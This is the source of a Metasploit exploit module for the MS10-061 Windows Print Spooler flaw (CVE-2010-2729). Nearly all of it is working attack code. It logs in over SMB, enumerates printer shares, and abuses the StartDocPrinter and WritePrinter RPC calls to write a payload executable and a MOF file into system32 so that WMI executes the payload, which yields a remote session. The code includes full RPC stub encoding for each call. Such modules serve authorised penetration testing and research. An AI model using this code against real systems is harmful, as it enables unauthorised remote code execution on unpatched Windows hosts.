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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::SMB::Client
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  include Msf::Exploit::EXE
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  include Msf::Exploit::WbemExec
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability',
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      'Description'    => %q{
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          This module exploits the RPC service impersonation vulnerability detailed in
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        Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
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        StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service
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        to create a file. The working directory at the time is %SystemRoot%\\system32.
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        An attacker can specify any file name, including directory traversal or full paths.
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        By sending WritePrinter requests, an attacker can fully control the content of
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        the created file.
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        In order to gain code execution, this module writes to a directory used by Windows
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        Management Instrumentation (WMI) to deploy applications. This directory (Wbem\\Mof)
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        is periodically scanned and any new .mof files are processed automatically. This is
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        the same technique employed by the Stuxnet code found in the wild.
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      },
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      'Author'         =>
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        [
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          'jduck',  # re-discovery, printer RPC stubs, module
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          'hdm'     # ATSVC RPC proxy method, etc ;)
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        ],
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      'License'        => MSF_LICENSE,
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      'Platform'       => 'win',
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      'References'     =>
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        [
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          [ 'OSVDB', '67988' ],
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          [ 'CVE', '2010-2729' ],
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          [ 'MSB', 'MS10-061' ]
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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          'BadChars' => "",
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          'DisableNops' => true,
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        },
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      'Targets'        =>
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        [
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          [ 'Windows Universal', { } ]
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        ],
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      'DisclosureDate' => '2010-09-14',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        OptString.new('SMBPIPE', [ false,  "The named pipe for the spooler service", "spoolss"]),
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        OptString.new('PNAME',   [ false,  "The printer share name to use on the target" ]),
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      ])
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    deregister_options('SMB::ProtocolVersion')
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  end
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  def exploit
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    connect(versions: [1])
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    login_time = Time.now
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    smb_login()
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    print_status("Trying target #{target.name}...")
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    handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    # Try all of the printers :)
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    printers = []
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    if (pname = datastore['PNAME'])
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      printers << pname
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    else
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      res = self.simple.client.trans(
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        "\\PIPE\\LANMAN",
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        (
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          [0x00].pack('v') +
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          "WrLeh\x00"   +
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          "B13BWz\x00"  +
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          [0x01, 65406].pack("vv")
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        )
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      )
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      printers = []
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      lerror, lconv, lentries, lcount = res['Payload'].to_s[
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        res['Payload'].v['ParamOffset'],
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        res['Payload'].v['ParamCount']
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      ].unpack("v4")
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      data = res['Payload'].to_s[
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        res['Payload'].v['DataOffset'],
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        res['Payload'].v['DataCount']
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      ]
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      0.upto(lentries - 1) do |i|
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        sname,tmp = data[(i * 20) +  0, 14].split("\x00")
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        stype     = data[(i * 20) + 14, 2].unpack('v')[0]
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        scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
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        if ( lconv != 0)
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          scoff -= lconv
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        end
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        scomm,tmp = data[scoff, data.length - scoff].split("\x00")
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        # we only want printers
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        next if stype != 1
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        printers << sname
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      end
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    end
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    # Generate a payload EXE to execute
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    exe = generate_payload_exe
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    printers.each { |pr|
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      pname = "\\\\#{rhost}\\#{pr}"
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      print_status("Attempting to exploit MS10-061 via #{pname} ...")
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      # Open the printer
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      status,ph = open_printer_ex(pname)
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      if status != 0
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        fail_with(Failure::Unknown, "Unable to open printer: #{Msf::WindowsError.description(status)}")
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      end
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      print_status("Printer handle: %s" % ph.unpack('H*'))
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      # NOTE: fname can be anything nice to write to (cwd is system32), even
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      # directory traversal and full paths are OK.
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      fname = rand_text_alphanumeric(14) + ".exe"
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      write_file_contents(ph, fname, exe)
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      # Generate a MOF file and write it so that the Windows Management Service will
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      # execute our binary ;)
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      mofname = rand_text_alphanumeric(14) + ".mof"
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      mof = generate_mof(mofname, fname)
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      write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)
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      # ClosePrinter
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      status,ph = close_printer(ph)
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      if status != 0
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        fail_with(Failure::Unknown, "Failed to close printer: #{Msf::WindowsError.description(status)}")
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      end
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      break if session_created?
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    }
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    print_status("Everything should be set, waiting for a session...")
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    handler
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    cnt = 1
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    while session_created? == false and cnt < 25
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      ::IO.select(nil, nil, nil, 0.25)
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      cnt += 1
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    end
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    disconnect
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  rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError
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    fail_with(Failure::Unknown, $!.message)
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  end
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  #
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  # Use the vuln to write a file :)
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  #
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  def write_file_contents(ph, fname, data)
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    doc = rand_text_alphanumeric(16+rand(16))
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    # StartDocPrinter
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    status,jobid = start_doc_printer(ph, doc, fname)
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    if status != 0 or jobid < 0
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      fail_with(Failure::Unknown, "Unable to start print job: #{Msf::WindowsError.description(status)}")
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    end
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    print_status("Job started: 0x%x" % jobid)
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    # WritePrinter
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    status,wrote = write_printer(ph, data)
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    if status != 0 or wrote != data.length
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      fail_with(Failure::Unknown, ('Failed to write %d bytes!' % data.length))
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    end
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    print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])
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    # EndDocPrinter
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    status = end_doc_printer(ph)
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    if status != 0
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      fail_with(Failure::Unknown, "Failed to end print job: #{Msf::WindowsError.description(status)}")
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    end
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  end
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  #
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  # Call RpcOpenPrinterEx
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  #
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  def open_printer_ex(pname, machine = nil, user = nil)
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=begin
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    DWORD RpcOpenPrinterEx(
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      [in, string, unique] STRING_HANDLE pPrinterName,
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      [out] PRINTER_HANDLE* pHandle,
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      [in, string, unique] wchar_t* pDatatype,
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      [in] DEVMODE_CONTAINER* pDevModeContainer,
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      [in] DWORD AccessRequired,
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      [in] SPLCLIENT_CONTAINER* pClientInfo
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    );
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=end
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    # NOTE: For more information about this encoding, see the following
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    # sections of the Open Group's C706 DCE 1.1: RPC
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    #
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    # 14.3.8 Unions
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    # 14.3.10 Pointers
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    # 14.3.12.3 Algorithm for Deferral of Referents
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    #
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    machine ||= ''
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    machine = NDR.uwstring(machine)
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    user ||= ''
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    user = NDR.uwstring(user)
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    splclient_info =
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      NDR.long(0) +          # DWORD dwSize;
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      machine[0,4] +         # [string] wchar_t* pMachineName;
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      user[0,4] +            # [string] wchar_t* pUserName;
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      NDR.long(7600) +       # DWORD dwBuildNum
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      NDR.long(3) +          # DWORD dwMajorVersion;
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      NDR.long(0) +          # DWORD dwMinorVersion;
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      NDR.long(9)            # unsigned short wProcessorArchitecture;
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    # Add the deferred members
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    splclient_info << machine[4, machine.length]
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    splclient_info << user[4, user.length]
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    splclient_info[0,4] = NDR.long(splclient_info.length)
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    splclient_info =
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      # union!
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      NDR.long(1) +        # discriminant (inside copy)
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      NDR.long(rand(0xffffffff)) +
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      splclient_info
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    stubdata =
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      NDR.uwstring(pname) +  # pPrinterName
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      NDR.long(0) +
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      # DEVMODE_CONTAINER (null)
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      NDR.long(0) +
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      NDR.long(0) +
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      # AccessRequired
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      NDR.long(0x02020000) +
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      # SPLCLIENT_CONTAINER
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      NDR.long(1) + # Level (must be 1)
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      # SPLCLIENT_INFO_1
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      splclient_info
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    #print_status('Sending OpenPrinterEx request...')
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    response = dcerpc.call(69, stubdata)
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    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
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      handle = dcerpc.last_response.stub_data[0,20]
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      status = dcerpc.last_response.stub_data[20,4].unpack('V').first
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      return [status, handle]
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    end
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    nil
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  end
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  #
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  # Call RpcStartDocPrinter
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  #
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  def start_doc_printer(handle, dname, fname, dtype = nil)
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=begin
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    typedef struct _DOC_INFO_CONTAINER {
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      DWORD Level;
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      [switch_is(Level)] union {
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        [case(1)]
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        DOC_INFO_1* pDocInfo1;
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      } DocInfo;
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    } DOC_INFO_CONTAINER;
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    DWORD RpcStartDocPrinter(
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      [in] PRINTER_HANDLE hPrinter,
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      [in] DOC_INFO_CONTAINER* pDocInfoContainer,
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      [out] DWORD* pJobId
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    );
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=end
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    dname = NDR.uwstring(dname)
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    if fname
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      fname = NDR.uwstring(fname)
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    else
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      fname = NDR.long(0)
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    end
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    if dtype
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      dtype = NDR.uwstring(dtype)
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    else
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      dtype = NDR.long(0)
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    end
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    doc_info =
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      dname[0, 4] +
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      fname[0, 4] +
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      dtype[0, 4]
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    # Add the deferred members
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    doc_info << dname[4, dname.length]
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    doc_info << fname[4, fname.length]
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    doc_info << dtype[4, dtype.length]
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    doc_info =
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      # Union!
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      NDR.long(1) +
328
      NDR.long(rand(0xffffffff)) +
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      doc_info
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    stubdata =
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      handle +
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      NDR.long(1) +
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      doc_info
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    #print_status('Sending StartDocPrinter request...')
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    response = dcerpc.call(17, stubdata)
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    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
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      jobid, status = dcerpc.last_response.stub_data.unpack('VV')
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      return [status, jobid]
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    end
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    nil
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  end
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  #
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  # Call RpcWritePrinter
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  #
351
  def write_printer(handle, data)
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=begin
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    DWORD RpcWritePrinter(
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      [in] PRINTER_HANDLE hPrinter,
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      [in, size_is(cbBuf)] BYTE* pBuf,
356
      [in] DWORD cbBuf,
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      [out] DWORD* pcWritten
358
    );
359
=end
360
    stubdata =
361
      handle +
362
      NDR.long(data.length) +
363
      # Perhaps we need a better data type for BYTE* :)
364
      data +
365
      NDR.align(data) +
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      NDR.long(data.length)
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    #print_status('Sending WritePrinter request...')
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    response = dcerpc.call(19, stubdata)
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    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
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      wrote,status = dcerpc.last_response.stub_data.unpack('VV')
373
      return [status, wrote]
374
    end
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376
    nil
377
  end
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379

380
  #
381
  # Call RpcEndDocPrinter
382
  #
383
  def end_doc_printer(handle)
384
=begin
385
    DWORD RpcEndDocPrinter(
386
      [in] PRINTER_HANDLE* phPrinter
387
    );
388
=end
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390
    #print_status('Sending EndDocPrinter request...')
391
    response = dcerpc.call(23, handle)
392
    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
393
      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
394
      status = dcerpc.last_response.stub_data[0,4].unpack('V').first
395
      return status
396
    end
397

398
    nil
399
  end
400

401

402
  #
403
  # Call RpcClosePrinter
404
  #
405
  def close_printer(handle)
406
=begin
407
    DWORD RpcClosePrinter(
408
      [in, out] PRINTER_HANDLE* phPrinter
409
    );
410
=end
411

412
    #print_status('Sending ClosePrinter request...')
413
    response = dcerpc.call(29, handle)
414
    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
415
      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
416
      handle = dcerpc.last_response.stub_data[0,20]
417
      status = dcerpc.last_response.stub_data[20,4].unpack('V').first
418
      return [status,handle]
419
    end
420

421
    nil
422
  end
423

424

425
  def seconds_since_midnight(time)
426
    # .tv_sec always uses .utc
427
    (time.tv_sec % 86400)
428

429
    # This method uses the localtime
430
    #(time.hour * 3600) + (time.min * 60) + (time.sec)
431
  end
432

433
  # We have to wait a bit longer since the WMI service is a bit slow..
434
  def wfs_delay
435
    10
436
  end
437
end
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